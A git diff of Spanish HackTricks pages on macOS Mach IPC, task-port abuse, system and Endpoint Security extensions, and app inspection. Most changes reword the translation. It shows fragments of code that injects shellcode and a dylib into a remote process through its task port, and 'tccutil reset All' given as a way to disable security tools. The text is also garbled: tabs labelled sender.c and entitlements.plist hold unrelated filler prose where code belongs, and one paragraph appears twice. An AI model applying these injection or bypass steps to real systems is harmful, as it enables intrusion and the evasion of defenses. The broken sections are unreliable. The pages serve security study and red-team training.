La función `mach_msg`, esencialmente una llamada al sistema, se utiliza para enviar y recibir mensajes de Mach. La función requiere que el mensaje se envíe como argumento inicial. Este mensaje debe comenzar con una estructura `mach_msg_header_t`, seguida por el contenido real del mensaje. La estructura se define de la siguiente manera:
|
||||
La función `mach_msg`, esencialmente una llamada al sistema, se utiliza para enviar y recibir mensajes Mach. La función requiere que el mensaje se envíe como argumento inicial. Este mensaje debe comenzar con una estructura `mach_msg_header_t`, seguida del contenido real del mensaje. La estructura se define de la siguiente manera:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
|
@ -96,7 +97,7 @@ Tenga en cuenta que este tipo de comunicación bidireccional se utiliza en mensa
|
|||
|
||||
Los otros campos del encabezado del mensaje son:
|
||||
|
||||
- `msgh_size`: el tamaño del paquete completo.
|
||||
- `msgh_size`: el tamaño de todo el paquete.
|
||||
- `msgh_remote_port`: el puerto al que se envía este mensaje.
|
||||
- `msgh_voucher_port`: [vales mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
- `msgh_id`: el ID de este mensaje, que es interpretado por el receptor.
|
||||
|
@ -113,7 +114,7 @@ Puedes instalar esta herramienta en iOS descargándola desde [http://newosxbook.
|
|||
|
||||
### Ejemplo de código
|
||||
|
||||
Observa cómo el **emisor** **asigna** un puerto, crea un **derecho de envío** para el nombre `org.darlinghq.example` y lo envía al **servidor de arranque** mientras que el emisor solicitó el **derecho de envío** de ese nombre y lo utilizó para **enviar un mensaje**.
|
||||
Observa cómo el **emisor** **asigna** un puerto, crea un **derecho de envío** para el nombre `org.darlinghq.example` y lo envía al **servidor de arranque** mientras que el emisor solicitó el **derecho de envío** de ese nombre y lo usó para **enviar un mensaje**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="receiver.c" %}
|
||||
|
@ -186,17 +187,15 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
|
||||
{% tab title="sender.c" %}
|
||||
|
||||
### macOS IPC (Comunicación entre Procesos)
|
||||
### macOS IPC: Comunicación entre procesos
|
||||
|
||||
La comunicación entre procesos en macOS se puede lograr a través de varios mecanismos, como por ejemplo:
|
||||
En macOS, la comunicación entre procesos (IPC) se puede lograr a través de mecanismos como `mach messages`, `XPC services` y `distributed objects`. Estos mecanismos permiten a los procesos comunicarse entre sí y compartir datos de manera segura.
|
||||
|
||||
- **Mach Messages**: Utiliza el subsistema Mach para enviar mensajes entre procesos.
|
||||
- **XPC Services**: Un mecanismo seguro y eficiente para la comunicación entre procesos en macOS.
|
||||
- **Distributed Objects**: Permite a los objetos de un proceso ser utilizados por otro proceso en la misma máquina o en una máquina remota.
|
||||
La comunicación entre procesos es fundamental para que las aplicaciones en macOS funcionen correctamente, pero también puede plantear riesgos de seguridad si no se implementa de manera segura. Es importante comprender cómo funcionan estos mecanismos y cómo se pueden asegurar para evitar posibles vulnerabilidades.
|
||||
|
||||
Estos mecanismos pueden ser utilizados para la comunicación entre procesos en macOS, lo que puede ser aprovechado por los atacantes en caso de vulnerabilidades en la implementación de estos servicios.
|
||||
En este contexto, es crucial conocer los diferentes métodos de IPC disponibles en macOS y cómo se pueden utilizar de manera segura para prevenir la escalada de privilegios y otros ataques de seguridad.
|
||||
|
||||
Para asegurar la integridad y seguridad del sistema, es importante implementar medidas de protección adecuadas al utilizar la comunicación entre procesos en macOS.
|
||||
Para más información sobre la comunicación entre procesos en macOS, consulta la documentación oficial de Apple y otros recursos de seguridad de macOS.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
|
@ -266,7 +265,7 @@ printf("Sent a message\n");
|
|||
* Las aplicaciones con el permiso **`com.apple.system-task-ports`** pueden obtener el **puerto de la tarea de cualquier** proceso, excepto el del kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se otorga a aplicaciones de Apple.
|
||||
* **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un tiempo de ejecución **fortificado** (y no de Apple).
|
||||
|
||||
### Inyección de shellcode en hilo a través del puerto de tarea
|
||||
### Inyección de shellcode en hilo a través del puerto de la tarea
|
||||
|
||||
Puedes obtener un shellcode desde:
|
||||
|
||||
|
@ -306,13 +305,23 @@ return 0;
|
|||
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
### entitlements.plist
|
||||
### macOS IPC (Comunicación entre Procesos)
|
||||
|
||||
El archivo `entitlements.plist` contiene información sobre los permisos y capacidades especiales que una aplicación tiene en macOS. Estos permisos pueden ser utilizados para restringir o permitir ciertas acciones que la aplicación puede realizar en el sistema. Es importante revisar y entender los permisos otorgados en este archivo para garantizar la seguridad y privacidad del sistema.
|
||||
La comunicación entre procesos (IPC) en macOS se logra a través de mecanismos como **Mach ports**, **XPC services** y **distributed notifications**. Estos mecanismos pueden ser utilizados para la comunicación entre procesos en un sistema macOS.
|
||||
|
||||
Puedes modificar este archivo para ajustar los permisos de una aplicación específica, pero debes tener cuidado de no otorgar permisos excesivos que puedan ser aprovechados por atacantes en posibles escaladas de privilegios.
|
||||
#### Mach Ports
|
||||
|
||||
Asegúrate de revisar y entender los permisos definidos en `entitlements.plist` para mantener un sistema seguro y protegido.
|
||||
Los **Mach ports** son canales de comunicación unidireccionales que permiten la transferencia de mensajes entre procesos. Cada puerto Mach tiene un identificador único y se pueden enviar mensajes a través de estos puertos.
|
||||
|
||||
#### XPC Services
|
||||
|
||||
Los **XPC services** son procesos independientes que pueden ser utilizados para realizar tareas específicas en macOS. Estos servicios se comunican con la aplicación principal a través de un mecanismo de IPC seguro.
|
||||
|
||||
#### Distributed Notifications
|
||||
|
||||
Las **distributed notifications** son un mecanismo de IPC que permite a los procesos enviar y recibir notificaciones a través del **Centro de Notificaciones** de macOS. Este mecanismo se puede utilizar para la comunicación entre procesos de forma eficiente.
|
||||
|
||||
En resumen, la comunicación entre procesos en macOS se logra a través de varios mecanismos de IPC que permiten a los procesos comunicarse de manera segura y eficiente.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
|
@ -533,11 +542,11 @@ return 0;
|
|||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Inyección de Dylib en hilo a través del puerto de Tarea
|
||||
### Inyección de Dylib en hilo a través del puerto de tarea
|
||||
|
||||
En macOS, los **hilos** pueden ser manipulados a través de **Mach** o utilizando la **API `pthread` posix**. El hilo que generamos en la inyección anterior fue generado utilizando la API de Mach, por lo que **no es compatible con posix**.
|
||||
En macOS, los **hilos** pueden ser manipulados a través de **Mach** o utilizando la **API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado utilizando la API de Mach, por lo que **no es compatible con posix**.
|
||||
|
||||
Fue posible **inyectar un shellcode simple** para ejecutar un comando porque **no era necesario trabajar con APIs compatibles con posix**, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**.
|
||||
Fue posible **inyectar un shellcode simple** para ejecutar un comando porque **no era necesario trabajar con APIs compatibles con posix**, solo con Mach. Las **inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**.
|
||||
|
||||
Por lo tanto, para **mejorar el hilo**, se debe llamar a **`pthread_create_from_mach_thread`** que creará un pthread válido. Luego, este nuevo pthread podría **llamar a dlopen** para **cargar una dylib** del sistema, por lo que en lugar de escribir nuevo shellcode para realizar diferentes acciones, es posible cargar bibliotecas personalizadas.
|
||||
|
||||
|
@ -754,7 +763,7 @@ kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_E
|
|||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"No se pueden establecer permisos de memoria para el código del hilo remoto: Error %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"No se pueden establecer los permisos de memoria para el código del hilo remoto: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
@ -763,7 +772,7 @@ kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_
|
|||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"No se pueden establecer permisos de memoria para la pila del hilo remoto: Error %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"No se pueden establecer los permisos de memoria para la pila del hilo remoto: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
@ -790,7 +799,7 @@ kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64
|
|||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"No se puede crear un hilo remoto: error %s", mach_error_string (kr));
|
||||
fprintf(stderr,"No se puede crear el hilo remoto: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
@ -850,7 +859,7 @@ Para obtener más información sobre cómo funciona esta **comunicación** y có
|
|||
|
||||
MIG fue creado para **simplificar el proceso de creación de código de IPC de Mach**. Básicamente **genera el código necesario** para que el servidor y el cliente se comuniquen con una definición dada. Aunque el código generado puede ser feo, un desarrollador solo necesitará importarlo y su código será mucho más simple que antes.
|
||||
|
||||
Para más información, consulta:
|
||||
Para obtener más información, consulta:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
|
||||
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
|
@ -864,16 +873,17 @@ Para más información, consulta:
|
|||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Extensiones del Sistema macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Extensiones del Sistema / Marco de Seguridad de Punto Final
|
||||
|
||||
A diferencia de las Extensiones del Kernel, las **Extensiones del Sistema se ejecutan en el espacio de usuario** en lugar del espacio del kernel, reduciendo el riesgo de un fallo del sistema debido al mal funcionamiento de la extensión.
|
||||
A diferencia de las Extensiones del Kernel, las **Extensiones del Sistema se ejecutan en el espacio de usuario** en lugar del espacio del kernel, reduciendo el riesgo de un bloqueo del sistema debido al mal funcionamiento de la extensión.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -38,7 +39,7 @@ Las Extensiones de Red proporcionan la capacidad de personalizar comportamientos
|
|||
|
||||
## Marco de Seguridad de Punto Final
|
||||
|
||||
El Marco de Seguridad de Punto Final es un marco proporcionado por Apple en macOS que ofrece un conjunto de APIs para la seguridad del sistema. Está destinado a ser utilizado por **proveedores de seguridad y desarrolladores para construir productos que puedan monitorear y controlar la actividad del sistema** para identificar y protegerse contra actividades maliciosas.
|
||||
Endpoint Security es un marco proporcionado por Apple en macOS que ofrece un conjunto de APIs para la seguridad del sistema. Está destinado a ser utilizado por **proveedores de seguridad y desarrolladores para construir productos que puedan monitorear y controlar la actividad del sistema** para identificar y protegerse contra actividades maliciosas.
|
||||
|
||||
Este marco proporciona una **colección de APIs para monitorear y controlar la actividad del sistema**, como ejecuciones de procesos, eventos del sistema de archivos, eventos de red y del kernel.
|
||||
|
||||
|
@ -46,7 +47,7 @@ El núcleo de este marco se implementa en el kernel, como una Extensión del Ker
|
|||
|
||||
* **EndpointSecurityDriver**: Actúa como el "punto de entrada" para la extensión del kernel. Es el principal punto de interacción entre el sistema operativo y el marco de Seguridad de Punto Final.
|
||||
* **EndpointSecurityEventManager**: Este componente es responsable de implementar ganchos del kernel. Los ganchos del kernel permiten al marco monitorear eventos del sistema al interceptar llamadas del sistema.
|
||||
* **EndpointSecurityClientManager**: Gestiona la comunicación con los clientes en el espacio de usuario, llevando un registro de qué clientes están conectados y necesitan recibir notificaciones de eventos.
|
||||
* **EndpointSecurityClientManager**: Gestiona la comunicación con los clientes en el espacio de usuario, manteniendo un registro de qué clientes están conectados y necesitan recibir notificaciones de eventos.
|
||||
* **EndpointSecurityMessageManager**: Envía mensajes y notificaciones de eventos a los clientes en el espacio de usuario.
|
||||
|
||||
Los eventos que el marco de Seguridad de Punto Final puede monitorear se categorizan en:
|
||||
|
@ -54,7 +55,7 @@ Los eventos que el marco de Seguridad de Punto Final puede monitorear se categor
|
|||
* Eventos de archivos
|
||||
* Eventos de procesos
|
||||
* Eventos de sockets
|
||||
* Eventos del kernel (como cargar/descargar una extensión del kernel o abrir un dispositivo de I/O Kit)
|
||||
* Eventos del kernel (como cargar/descargar una extensión del kernel o abrir un dispositivo I/O Kit)
|
||||
|
||||
### Arquitectura del Marco de Seguridad de Punto Final
|
||||
|
||||
|
@ -65,7 +66,7 @@ La **comunicación en el espacio de usuario** con el marco de Seguridad de Punto
|
|||
* **EndpointSecurityDriverClient**: Requiere el permiso `com.apple.private.endpoint-security.manager`, que solo es otorgado al proceso del sistema `endpointsecurityd`.
|
||||
* **EndpointSecurityExternalClient**: Requiere el permiso `com.apple.developer.endpoint-security.client`. Esto sería utilizado típicamente por software de seguridad de terceros que necesita interactuar con el marco de Seguridad de Punto Final.
|
||||
|
||||
Las Extensiones de Seguridad de Punto Final:**`libEndpointSecurity.dylib`** es la biblioteca C que las extensiones del sistema utilizan para comunicarse con el kernel. Esta biblioteca utiliza I/O Kit (`IOKit`) para comunicarse con la KEXT de Seguridad de Punto Final.
|
||||
Las Extensiones de Seguridad de Punto Final:**`libEndpointSecurity.dylib`** es la biblioteca C que las extensiones del sistema utilizan para comunicarse con el kernel. Esta biblioteca utiliza el I/O Kit (`IOKit`) para comunicarse con la KEXT de Seguridad de Punto Final.
|
||||
|
||||
**`endpointsecurityd`** es un demonio del sistema clave involucrado en la gestión y lanzamiento de extensiones del sistema de seguridad de punto final, especialmente durante el proceso de arranque temprano. **Solo las extensiones del sistema** marcadas con **`NSEndpointSecurityEarlyBoot`** en su archivo `Info.plist` reciben este tratamiento de arranque temprano.
|
||||
|
||||
|
@ -73,11 +74,11 @@ Otro demonio del sistema, **`sysextd`**, **valida las extensiones del sistema**
|
|||
|
||||
## Saltando ESF
|
||||
|
||||
ESF es utilizado por herramientas de seguridad que intentarán detectar a un equipo de red, por lo que cualquier información sobre cómo evitar esto suena interesante.
|
||||
ESF es utilizado por herramientas de seguridad que intentarán detectar a un red teamer, por lo que cualquier información sobre cómo esto podría evitarse suena interesante.
|
||||
|
||||
### CVE-2021-30965
|
||||
|
||||
La cuestión es que la aplicación de seguridad necesita tener **permisos de Acceso Completo al Disco**. Por lo tanto, si un atacante pudiera eliminar eso, podría evitar que el software se ejecute:
|
||||
La cuestión es que la aplicación de seguridad necesita tener **permisos de Acceso Completo al Disco**. Entonces, si un atacante pudiera eliminar eso, podría evitar que el software se ejecute:
|
||||
```bash
|
||||
tccutil reset All
|
||||
```
|
||||
|
@ -90,16 +91,17 @@ Al final, esto se solucionó otorgando el nuevo permiso **`kTCCServiceEndpointSe
|
|||
* [**OBTS v3.0: "Seguridad e Inseguridad del Punto Final" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
|
||||
* [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS Apps - Inspección, depuración y Fuzzing
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
|
@ -118,7 +119,7 @@ Estos instaladores tienen scripts bash `preinstall` y `postinstall` que los auto
|
|||
|
||||
### hdiutil
|
||||
|
||||
Esta herramienta permite **montar** archivos de imagen de disco de Apple (**.dmg**) para inspeccionarlos antes de ejecutar cualquier cosa:
|
||||
Esta herramienta permite **montar** imágenes de disco de Apple (**.dmg**) para inspeccionarlas antes de ejecutar cualquier cosa:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
|
@ -126,8 +127,8 @@ Se montará en `/Volumes`
|
|||
|
||||
### Binarios empaquetados
|
||||
|
||||
* Verificar alta entropía
|
||||
* Verificar las cadenas (si hay casi ninguna cadena comprensible, empaquetado)
|
||||
* Verificar la alta entropía
|
||||
* Revisar las cadenas (si hay casi ninguna cadena comprensible, está empaquetado)
|
||||
* El empaquetador UPX para MacOS genera una sección llamada "\_\_XHDR"
|
||||
|
||||
## Análisis estático de Objective-C
|
||||
|
@ -145,15 +146,15 @@ Tenga en cuenta que los programas escritos en Objective-C **conservan** sus decl
|
|||
|
||||
Tenga en cuenta que estos nombres podrían estar obfuscados para dificultar la reversión del binario.
|
||||
|
||||
### Llamada a funciones
|
||||
### Llamadas a funciones
|
||||
|
||||
Cuando se llama a una función en un binario que utiliza Objective-C, en lugar de llamar a esa función, el código compilado llamará a **`objc_msgSend`**. Lo cual llamará a la función final:
|
||||
Cuando se llama a una función en un binario que utiliza Objective-C, en lugar de llamar a esa función, el código compilado llamará a **`objc_msgSend`**. Lo que llamará a la función final:
|
||||
|
||||
![](<../../../.gitbook/assets/image (305).png>)
|
||||
|
||||
Los parámetros que esta función espera son:
|
||||
|
||||
* El primer parámetro (**self**) es "un puntero que apunta a la **instancia de la clase que va a recibir el mensaje**". O de forma más simple, es el objeto sobre el cual se invoca el método. Si el método es un método de clase, esto será una instancia del objeto de la clase (en su totalidad), mientras que para un método de instancia, self apuntará a una instancia instanciada de la clase como un objeto.
|
||||
* El primer parámetro (**self**) es "un puntero que apunta a la **instancia de la clase que va a recibir el mensaje**". O dicho de forma más simple, es el objeto sobre el cual se invoca el método. Si el método es un método de clase, esto será una instancia del objeto de la clase (en su totalidad), mientras que para un método de instancia, self apuntará a una instancia instanciada de la clase como un objeto.
|
||||
* El segundo parámetro, (**op**), es "el selector del método que maneja el mensaje". Nuevamente, de forma más simple, este es solo el **nombre del método**.
|
||||
* Los parámetros restantes son cualquier **valor requerido por el método** (op).
|
||||
|
||||
|
@ -167,13 +168,13 @@ x64:
|
|||
|
||||
| **Argumento** | **Registro** | **(para) objc\_msgSend** |
|
||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1er argumento** | **rdi** | **self: objeto sobre el cual se invoca el método** |
|
||||
| **2do argumento** | **rsi** | **op: nombre del método** |
|
||||
| **3er argumento** | **rdx** | **1er argumento para el método** |
|
||||
| **4to argumento** | **rcx** | **2do argumento para el método** |
|
||||
| **5to argumento** | **r8** | **3er argumento para el método** |
|
||||
| **6to argumento** | **r9** | **4to argumento para el método** |
|
||||
| **7mo+ argumento** | <p><strong>rsp+</strong><br><strong>(en la pila)</strong></p> | **5to+ argumento para el método** |
|
||||
| **1er argumento** | **rdi** | **self: objeto sobre el cual se invoca el método** |
|
||||
| **2do argumento** | **rsi** | **op: nombre del método** |
|
||||
| **3er argumento** | **rdx** | **1er argumento para el método** |
|
||||
| **4to argumento** | **rcx** | **2do argumento para el método** |
|
||||
| **5to argumento** | **r8** | **3er argumento para el método** |
|
||||
| **6to argumento** | **r9** | **4to argumento para el método** |
|
||||
| **7mo+ argumento** | <p><strong>rsp+</strong><br><strong>(en la pila)</strong></p> | **5to+ argumento para el método** |
|
||||
|
||||
### Volcar metadatos ObjectiveC
|
||||
|
||||
|
@ -193,7 +194,7 @@ objdump --macho --objc-meta-data /path/to/bin
|
|||
```
|
||||
#### class-dump
|
||||
|
||||
[**class-dump**](https://github.com/nygard/class-dump/) es la herramienta original que genera declaraciones para las clases, categorías y protocolos en código formateado en ObjetiveC.
|
||||
[**class-dump**](https://github.com/nygard/class-dump/) es la herramienta original para generar declaraciones de las clases, categorías y protocolos en código formateado en ObjetiveC.
|
||||
|
||||
Es antigua y no se mantiene, por lo que probablemente no funcionará correctamente.
|
||||
|
||||
|
@ -208,7 +209,7 @@ print(metadata.to_decl())
|
|||
```
|
||||
## Análisis estático de Swift
|
||||
|
||||
Con binarios de Swift, dado que existe compatibilidad con Objective-C, a veces puedes extraer declaraciones usando [class-dump](https://github.com/nygard/class-dump/) pero no siempre.
|
||||
